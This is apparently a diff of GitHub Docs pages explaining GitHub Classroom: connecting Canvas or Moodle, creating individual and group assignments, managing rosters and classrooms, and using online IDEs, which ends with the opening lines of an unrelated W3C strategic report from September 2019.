"[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**.  8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 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W3C Strategic Highlights September 2019 This report was prepared for the September 2019 W3C Advisory Committee Meeting (W3C Member link). See the accompanying W3C Fact Sheet — September 2019. For the previous edition, see the April 2019 W3C Strategic Highlights. For future editions of this report, please consult the latest version. A Chinese translation is available. ☰ Contents Introduction Future Web Standards Meeting Industry Needs Web Payments Digital Publishing Media and Entertainment Web & Telecommunications Real-Time Communications (WebRTC) Web & Networks Automotive Web of Things Strengthening the Core of the Web HTML CSS Fonts SVG Audio Performance Web Performance WebAssembly Testing Browser Testing and Tools WebPlatform Tests Web of Data Web for All Security, Privacy, Identity Internationalization (i18n) Web Accessibility Outreach to the world W3C Developer Relations W3C Training Translations W3C Liaisons Introduction This report highlights recent work of enhancement 